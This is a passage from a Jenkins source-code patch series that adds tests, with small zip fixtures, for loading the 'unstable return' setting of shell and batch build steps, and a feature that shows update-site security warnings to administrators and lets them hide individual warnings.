org.jvnet.hudson.test.recipes.LocalData; /** @@ -148,4 +150,13 @@ public class BatchFileTest { /* Creating unstable=0 produces unstable=null */ assertNull( createNewBatchTask("",0).getUnstableReturn() ); } + + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("batch"); + BatchFile batchFile = (BatchFile) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), batchFile.getUnstableReturn()); + } } diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index f83675e824..eef0565b89 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -27,6 +27,7 @@ import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; /** * Tests for the Shell tasks class @@ -190,4 +191,13 @@ public class ShellTest { assertNull( createNewShell("",0).getUnstableReturn() ); } + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("test"); + Shell shell = (Shell) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), shell.getUnstableReturn()); + } + } diff --git a/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..7733c0a66c1a409498e334b844db0de596e700db GIT binary patch literal 1056 zcmWIWW@h1H0Dx6`75Y!FstkYPwp%=5`lObN{^E=f$vNexOZDJ{x#E6UGx z$t=#+tI8}04dG;9<|`DOdK#c}ca6l!aLFP>ax*BdS zkiiOcbyj{-u|C*kjQCsz($e4O3`d6R=77idUFVt}zS(C1A| z3=E>Eh9u|brDdk;RpjP?-Lw~I+*Ke(3$5ND>-<9o0{4E33VJV7OMRWt<02SseL*QL zIli+yIofXb)92sc2(&na?*3VQr<{MLuHW93`xF+GmBpQ(b$l0-_S{R~4AyUd|GIs7 z)j{<$?B6+!K6!>3vT8Jco2X@xy*@CkpP`ObZp|VY-V^pMjtOsN=bsgMt?1H}dr;%I zmsF$0{4&pln|Te-W*a?w`!m(5V#x++^(r~%MK=Ve9yICN%V@f7&jX!zy_1ipUUGYD zwL$xPt|6O1?ZS-P8(;X}uf1{Yzxu0lQ=5}6v@^&4-!p5oQ7eO)*yS0;-qSfhb#oaj zRO|~AsW_6Rx#-QcTL%=TJ=iB6R%r1u;%w2Q26x+wlYWLscW6fV^+~6_xb*K{+qS*4 zI(}|3m)djKwv6lSkh<(q`+>2 f7>Jw*fkuN8A%@YcY(Sk1EI=3s)Vv0mk{K8PZAv9I literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..d1d23b58680879ab8a21cd8ff9166e8473fd7143 GIT binary patch literal 1059 zcmWIWW@h1H0D%BDZLe!PPwa^XvO!ppL53kYG0!JIF(ovwxFj(tCp9Rwq_il{ttda& zC9^nNuPU=3G=!6Z*`v5L!XmpgqO^jWfsy4aBLf4A2*^ON(Hu~tffO82$!L&ye;KvC z;N}7utUy<1TSX~CvCd`1UoeQSDB(=B%V#c&|oMwQ0$pJRwbhh1U zEuhDDGBGfSpqP=IpO==Iu2+$p19lO}G&4*W^#=I{A65|9`#n6R>g35I_iO^J7R%;W zWxW03lbCD3A|bZLK3>SlzI00Pz1zpDcT1mmbYbNqVHvN*&!4W@rO$og4#&#xpNl?! ztN9+F_o5{t-L9e9O7oFo&u@+6RV_>ttTU_oCjF9GTE(3(J;AX%LznTTbuh=0eGezw zq(v6k30X2!h8G+acz#)p!(>;N&sV7_QTBU%Hg_5CHCnUyUTem@i#HazYztN>`Xade zlb_^0JGPZawlVHCiI>{Te2q6G#&zGf)qY_L|$3>~P&sS3_ore%jvRL(^9Yu)i1I!6ZLtSz!6m zIYO`RD?Mh@`=xC5X3CLgIky})l%BceGReyRNPd7fBa<96t|Th~ic~OI(g>o6NWiR+ z1dNeH5Y}L(F_<+13~wE`0j+_iIG|CW6o Date: Sun, 8 Jan 2017 22:27:08 +0100 Subject: [PATCH 519/712] [JENKINS-40494] Process warnings from update sites (#2680) * [FIX JENKINS-40494] Process warnings from update sites * [JENKINS-40494] Address review comments * [JENKINS-40494] Add warnings to available/update plugin manager tabs * [JENKINS-40494] Add tests * [JENKINS-40494] Address review feedback --- .../main/java/hudson/model/UpdateSite.java | 307 ++++++++++++++++++ .../UpdateSiteWarningsConfiguration.java | 124 +++++++ .../security/UpdateSiteWarningsMonitor.java | 177 ++++++++++ .../hudson/PluginManager/table.jelly | 9 + .../hudson/PluginManager/table.properties | 2 + .../jenkins/security/Messages.properties | 3 +- .../config.groovy | 70 ++++ .../config.properties | 27 ++ .../UpdateSiteWarningsConfiguration/help.html | 14 + .../UpdateSiteWarningsConfiguration/style.css | 4 + .../UpdateSiteWarningsMonitor/message.groovy | 77 +++++ .../message.properties | 31 ++ .../java/hudson/model/UpdateSiteTest.java | 25 +- .../warnings-update-center-malformed.json | 264 +++++++++++++++ war/src/main/webapp/css/style.css | 7 + 15 files changed, 1139 insertions(+), 2 deletions(-) create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties create mode 100644 test/src/test/resources/plugins/warnings-update-center-malformed.json diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 01bf9c6ddb..3a234941a4 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -26,6 +26,7 @@ package hudson.model; import hudson.ClassicPluginStrategy; +import hudson.ExtensionList; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.Util; @@ -46,7 +47,9 @@ import java.security.GeneralSecurityException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; +import java.util.HashSet; import java.util.List; +import java.util.Locale; import java.util.Map; import java.util.Set; import java.util.TreeMap; @@ -55,17 +58,24 @@ import java.util.concurrent.Callable; import java.util.concurrent.Future; import java.util.logging.Level; import java.util.logging.Logger; +import java.util.regex.Pattern; +import java.util.regex.PatternSyntaxException; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import javax.annotation.Nullable; + import jenkins.model.Jenkins; import jenkins.model.DownloadSettings; +import jenkins.security.UpdateSiteWarningsConfiguration; import jenkins.util.JSONSignatureValidator; import jenkins.util.SystemProperties; +import net.sf.json.JSONArray; import net.sf.json.JSONException; import net.sf.json.JSONObject; import org.apache.commons.io.IOUtils; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.HttpResponse; @@ -513,6 +523,12 @@ public class UpdateSite { * Plugins in the repository, keyed by their artifact IDs. */ public final Map plugins = new TreeMap(String.CASE_INSENSITIVE_ORDER); + /** + * List of warnings (mostly security) published with the update site. + * + * @since TODO + */ + private final Set warnings = new HashSet(); /** * If this is non-null, Jenkins is going to check the connectivity to this URL to make sure @@ -528,6 +544,18 @@ public class UpdateSite { } else { core = null; } + + JSONArray w = o.optJSONArray("warnings"); + if (w != null) { + for (int i = 0; i < w.size(); i++) { + try { + warnings.add(new Warning(w.getJSONObject(i))); + } catch (JSONException ex) { + LOGGER.log(Level.WARNING, "Failed to parse JSON for warning", ex); + } + } + } + for(Map.Entry e : (Set>)o.getJSONObject("plugins").entrySet()) { Plugin p = new Plugin(sourceId, e.getValue()); // JENKINS-33308 - include implied dependencies for older plugins that may need them @@ -545,6 +573,16 @@ public class UpdateSite { connectionCheckUrl = (String)o.get("connectionCheckUrl"); } + /** + * Returns the set of warnings + * @return the set of warnings + * @since TODO + */ + @Restricted(NoExternalUse.class) + public Set getWarnings() { + return this.warnings; + } + /** * Is there a new version of the core? */ @@ -646,6 +684,232 @@ public class UpdateSite { } + /** + * A version range for {@code Warning}s indicates which versions of a given plugin are affected + * by it. + * + * {@link #name}, {@link #firstVersion} and {@link #lastVersion} fields are only used for administrator notices. + * + * The {@link #pattern} is used to determine whether a given warning applies to the current installation. + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class WarningVersionRange { + /** + * Human-readable English name for this version range, e.g. 'regular', 'LTS', '2.6 line'. + */ + @Nullable + public final String name; + + /** + * First version in this version range to be subject to the warning. + */ + @Nullable + public final String firstVersion; + + /** + * Last version in this version range to be subject to the warning. + */ + @Nullable + public final String lastVersion; + + /** + * Regular expression pattern for this version range that matches all included version numbers. + */ + @Nonnull + private final Pattern pattern; + + public WarningVersionRange(JSONObject o) { + this.name = Util.fixEmpty(o.optString("name")); + this.firstVersion = Util.fixEmpty(o.optString("firstVersion")); + this.lastVersion = Util.fixEmpty(o.optString("lastVersion")); + Pattern p; + try { + p = Pattern.compile(o.getString("pattern")); + } catch (PatternSyntaxException ex) { + LOGGER.log(Level.WARNING, "Failed to compile pattern '" + o.getString("pattern") + "', using '.*' instead", ex); + p = Pattern.compile(".*"); + } + this.pattern = p; + } + + public boolean includes(VersionNumber number) { + return pattern.matcher(number.toString()).matches(); + } + } + + /** + * Represents a warning about a certain component, mostly related to known security issues. + * + * @see UpdateSiteWarningsConfiguration + * @see jenkins.security.UpdateSiteWarningsMonitor + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class Warning { + + public enum Type { + CORE, + PLUGIN, + UNKNOWN + } + + /** + * The type classifier for this warning. + */ + @Nonnull + public /* final */ Type type; + + /** + * The globally unique ID of this warning. + * + *

                                      This is typically the CVE identifier or SECURITY issue (Jenkins project); + * possibly with a unique suffix (e.g. artifactId) if either applies to multiple components.

                                      + */ + @Exported + @Nonnull + public final String id; + + /** + * The name of the affected component. + *
                                        + *
                                      • If type is 'core', this is 'core' by convention. + *
                                      • If type is 'plugin', this is the artifactId of the affected plugin + *
                                      + */ + @Exported + @Nonnull + public final String component; + + /** + * A short, English language explanation for this warning. + */ + @Exported + @Nonnull + public final String message; + + /** + * A URL with more information about this, typically a security advisory. For use in administrator notices + * only, so + */ + @Exported + @Nonnull + public final String url; + + /** + * A list of named version ranges specifying which versions of the named component this warning applies to. + * + * If this list is empty, all versions of the component are considered to be affected by this warning. + */ + @Exported + @Nonnull + public final List versionRanges; + + /** + * + * @param o the {@link JSONObject} representing the warning + * @throws JSONException if the argument does not match the expected format + */ + @Restricted(NoExternalUse.class) + public Warning(JSONObject o) { + try { + this.type = Type.valueOf(o.getString("type").toUpperCase(Locale.US)); + } catch (IllegalArgumentException ex) { + this.type = Type.UNKNOWN; + } + this.id = o.getString("id"); + this.component = o.getString("name"); + this.message = o.getString("message"); + this.url = o.getString("url"); + + if (o.has("versions")) { + List ranges = new ArrayList<>(); + JSONArray versions = o.getJSONArray("versions"); + for (int i = 0; i < versions.size(); i++) { + WarningVersionRange range = new WarningVersionRange(versions.getJSONObject(i)); + ranges.add(range); + } + this.versionRanges = Collections.unmodifiableList(ranges); + } else { + this.versionRanges = Collections.emptyList(); + } + } + + /** + * Two objects are considered equal if they are the same type and have the same ID. + * + * @param o the other object + * @return true iff this object and the argument are considered equal + */ + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof Warning)) return false; + + Warning warning = (Warning) o; + + return id.equals(warning.id); + } + + @Override + public int hashCode() { + return id.hashCode(); + } + + public boolean isPluginWarning(@Nonnull String pluginName) { + return type == Type.PLUGIN && pluginName.equals(this.component); + } + + /** + * Returns true if this warning is relevant to the current configuration + * @return true if this warning is relevant to the current configuration + */ + public boolean isRelevant() { + switch (this.type) { + case CORE: + VersionNumber current = Jenkins.getVersion(); + + if (!isRelevantToVersion(current)) { + return false; + } + return true; + case PLUGIN: + + // check whether plugin is installed + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(this.component); + if (plugin == null) { + return false; + } + + // check whether warning is relevant to installed version + VersionNumber currentCore = plugin.getVersionNumber(); + if (!isRelevantToVersion(currentCore)) { + return false; + } + return true; + case UNKNOWN: + default: + return false; + } + } + + public boolean isRelevantToVersion(@Nonnull VersionNumber version) { + if (this.versionRanges.isEmpty()) { + // no version ranges specified, so all versions are affected + return true; + } + + for (UpdateSite.WarningVersionRange range : this.versionRanges) { + if (range.includes(version)) { + return true; + } + } + return false; + } + } + public final class Plugin extends Entry { /** * Optional URL to the Wiki page that discusses this plugin. @@ -863,6 +1127,49 @@ public class UpdateSite { return true; } + /** + * @since TODO + */ + @CheckForNull + @Restricted(NoExternalUse.class) + public Set getWarnings() { + ExtensionList list = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (list.size() == 0) { + return Collections.emptySet(); + } + + Set warnings = new HashSet<>(); + + UpdateSiteWarningsConfiguration configuration = list.get(0); + + for (Warning warning: configuration.getAllWarnings()) { + if (configuration.isIgnored(warning)) { + // warning is currently being ignored + continue; + } + if (!warning.isPluginWarning(this.name)) { + // warning is not about this plugin + continue; + } + + if (!warning.isRelevantToVersion(new VersionNumber(this.version))) { + // warning is not relevant to this version + continue; + } + warnings.add(warning); + } + + return warnings; + } + + /** + * @since TODO + */ + @Restricted(DoNotUse.class) + public boolean hasWarnings() { + return getWarnings().size() > 0; + } + /** * @deprecated as of 1.326 * Use {@link #deploy()}. diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java new file mode 100644 index 0000000000..08bce4881b --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java @@ -0,0 +1,124 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.PluginWrapper; +import hudson.model.UpdateSite; +import jenkins.model.GlobalConfiguration; +import jenkins.model.GlobalConfigurationCategory; +import jenkins.model.Jenkins; +import net.sf.json.JSONObject; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.StaplerRequest; + +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +/** + * Configuration for update site-provided warnings. + * + * @see UpdateSiteWarningsMonitor + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsConfiguration extends GlobalConfiguration { + + private HashSet ignoredWarnings = new HashSet<>(); + + @Override + public GlobalConfigurationCategory getCategory() { + return GlobalConfigurationCategory.get(GlobalConfigurationCategory.Security.class); + } + + public UpdateSiteWarningsConfiguration() { + load(); + } + + @Nonnull + public Set getIgnoredWarnings() { + return Collections.unmodifiableSet(ignoredWarnings); + } + + public boolean isIgnored(@Nonnull UpdateSite.Warning warning) { + return ignoredWarnings.contains(warning.id); + } + + @CheckForNull + public PluginWrapper getPlugin(@Nonnull UpdateSite.Warning warning) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + return null; + } + return Jenkins.getInstance().getPluginManager().getPlugin(warning.component); + } + + @Nonnull + public Set getAllWarnings() { + HashSet allWarnings = new HashSet<>(); + + for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { + UpdateSite.Data data = site.getData(); + if (data != null) { + allWarnings.addAll(data.getWarnings()); + } + } + return allWarnings; + } + + @Nonnull + public Set getApplicableWarnings() { + Set allWarnings = getAllWarnings(); + + HashSet applicableWarnings = new HashSet<>(); + for (UpdateSite.Warning warning: allWarnings) { + if (warning.isRelevant()) { + applicableWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(applicableWarnings); + } + + + @Override + public boolean configure(StaplerRequest req, JSONObject json) throws FormException { + HashSet newIgnoredWarnings = new HashSet<>(); + for (Object key : json.keySet()) { + String warningKey = key.toString(); + if (!json.getBoolean(warningKey)) { + newIgnoredWarnings.add(warningKey); + } + } + this.ignoredWarnings = newIgnoredWarnings; + this.save(); + return true; + } +} diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java new file mode 100644 index 0000000000..378717448d --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java @@ -0,0 +1,177 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.ExtensionList; +import hudson.PluginWrapper; +import hudson.model.AdministrativeMonitor; +import hudson.model.UpdateSite; +import hudson.util.HttpResponses; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.HttpResponse; +import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + + +/** + * Administrative monitor showing plugin/core warnings published by the configured update site to the user. + * + *

                                      Terminology overview:

                                      + * + *
                                        + *
                                      • Applicable warnings are those relevant to currently installed components + *
                                      • Active warnings are those actually shown to users. + *
                                      • Hidden warnings are those _not_ shown to users due to them being configured to be hidden. + *
                                      • Inapplicable warnings are those that are not applicable. + *
                                      + * + *

                                      The following sets may be non-empty:

                                      + * + *
                                        + *
                                      • Intersection of applicable and active + *
                                      • Intersection of applicable and hidden + *
                                      • Intersection of hidden and inapplicable (although not really relevant) + *
                                      • Intersection of inapplicable and neither hidden nor active + *
                                      + * + *

                                      The following sets must necessarily be empty:

                                      + * + *
                                        + *
                                      • Intersection of applicable and inapplicable + *
                                      • Intersection of active and hidden + *
                                      • Intersection of active and inapplicable + *
                                      + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsMonitor extends AdministrativeMonitor { + @Override + public boolean isActivated() { + return !getActiveCoreWarnings().isEmpty() || !getActivePluginWarningsByPlugin().isEmpty(); + } + + public List getActiveCoreWarnings() { + List CoreWarnings = new ArrayList<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.CORE) { + // this is not a core warning + continue; + } + CoreWarnings.add(warning); + } + return CoreWarnings; + } + + public Map> getActivePluginWarningsByPlugin() { + Map> activePluginWarningsByPlugin = new HashMap<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + // this is not a plugin warning + continue; + } + + String pluginName = warning.component; + + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(pluginName); + + if (!activePluginWarningsByPlugin.containsKey(plugin)) { + activePluginWarningsByPlugin.put(plugin, new ArrayList()); + } + activePluginWarningsByPlugin.get(plugin).add(warning); + } + return activePluginWarningsByPlugin; + + } + + private Set getActiveWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return Collections.emptySet(); + } + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + HashSet activeWarnings = new HashSet<>(); + + for (UpdateSite.Warning warning : configuration.getApplicableWarnings()) { + if (!configuration.getIgnoredWarnings().contains(warning.id)) { + activeWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(activeWarnings); + } + + /** + * Redirects the user to the plugin manager or security configuration + */ + @RequirePOST + public HttpResponse doForward(@QueryParameter String fix, @QueryParameter String configure) { + if (fix != null) { + return HttpResponses.redirectViaContextPath("pluginManager"); + } + if (configure != null) { + return HttpResponses.redirectViaContextPath("configureSecurity"); + } + + // shouldn't happen + return HttpResponses.redirectViaContextPath("/"); + } + + /** + * Returns true iff there are applicable but ignored (i.e. hidden) warnings. + * + * @return true iff there are applicable but ignored (i.e. hidden) warnings. + */ + public boolean hasApplicableHiddenWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return false; + } + + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + return getActiveWarnings().size() < configuration.getApplicableWarnings().size(); + } + + @Override + public String getDisplayName() { + return Messages.UpdateSiteWarningsMonitor_DisplayName(); + } +} diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index e8c75170b4..ee41463e4e 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -110,6 +110,15 @@ THE SOFTWARE.
                                      ${%depCoreWarning(p.getNeededDependenciesRequiredCore().toString())}
                                      + +
                                      ${%securityWarning} + +
                                      +
                                      diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index cc7af60893..4b5ae95d9b 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -35,3 +35,5 @@ depCoreWarning=\ built for Jenkins {0} or newer. The dependent plugins may \ or may not work in your Jenkins and consequently this \ plugin may or may not work in your Jenkins. +securityWarning=\ + Warning: This plugin version may not be safe to use. Please review the following security notices: diff --git a/core/src/main/resources/jenkins/security/Messages.properties b/core/src/main/resources/jenkins/security/Messages.properties index e09dca3e79..f0a98fb4a2 100644 --- a/core/src/main/resources/jenkins/security/Messages.properties +++ b/core/src/main/resources/jenkins/security/Messages.properties @@ -24,4 +24,5 @@ ApiTokenProperty.DisplayName=API Token ApiTokenProperty.ChangeToken.TokenIsHidden=Token is hidden ApiTokenProperty.ChangeToken.Success=
                                      Updated. See the new token in the field above
                                      ApiTokenProperty.ChangeToken.SuccessHidden=
                                      Updated. You need to login as the user to see the token
                                      -RekeySecretAdminMonitor.DisplayName=Re-keying \ No newline at end of file +RekeySecretAdminMonitor.DisplayName=Re-keying +UpdateSiteWarningsMonitor.DisplayName=Update Site Warnings diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy new file mode 100644 index 0000000000..ac82bf1891 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy @@ -0,0 +1,70 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsConfiguration + +f = namespace(lib.FormTagLib) +st = namespace("jelly:stapler") + +st.adjunct(includes: "jenkins.security.UpdateSiteWarningsConfiguration.style") + +def printEntry(warning, title, checked) { + f.block { + f.checkbox(name: warning.id, + title: title, + checked: checked, + class: 'hideWarnings'); + div(class: "setting-description") { + a(warning.url, href: warning.url) + } + } +} + +f.section(title:_("Hidden security warnings")) { + + f.advanced(title: _("Security warnings"), align:"left") { + f.block { + text(_("blurb")) + } + f.entry(title: _("Security warnings"), + help: '/descriptorByName/UpdateSiteWarningsConfiguration/help') { + table(width:"100%") { + + descriptor.applicableWarnings.each { warning -> + if (warning.type == hudson.model.UpdateSite.Warning.Type.CORE) { + printEntry(warning, + _("warning.core", warning.message), + !descriptor.isIgnored(warning)) + } + else if (warning.type == hudson.model.UpdateSite.Warning.Type.PLUGIN) { + def plugin = descriptor.getPlugin(warning) + printEntry(warning, + _("warning.plugin", plugin.displayName, warning.message), + !descriptor.isIgnored(warning)) + } + } + } + } + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties new file mode 100644 index 0000000000..333445cd3f --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties @@ -0,0 +1,27 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +warning.core = Jenkins core: {0} +warning.plugin = {0}: {1} + +blurb = This section allows you to disable warnings published on the update site. \ + Checked warnings are visible (the default), unchecked warnings are hidden. diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html new file mode 100644 index 0000000000..1cb7b1df5d --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html @@ -0,0 +1,14 @@ +

                                      + This list contains all warnings relevant to currently installed components published by the configured update sites. + These are typically security-related. + Warnings that have been published but are not relevant to currently installed components (either because the affected component isn't installed, or an unaffected version is installed) are not shown here. +

                                      +

                                      + Checked entries (the default) are active, i.e. they're shown to administrators in an administrative monitor. + Entries can be unchecked to hide them. + This can be useful if you've evaluated a specific warning and are confident it does not apply to your environment or configuration, and continued use of the specified component does not constitute a security problem. +

                                      +

                                      + Please note that only specific warnings can be disabled; it is not possible to disable all warnings about a certain component. + If you wish to disable the display of warnings entirely, then you can disable the administrative monitor in Configure System. +

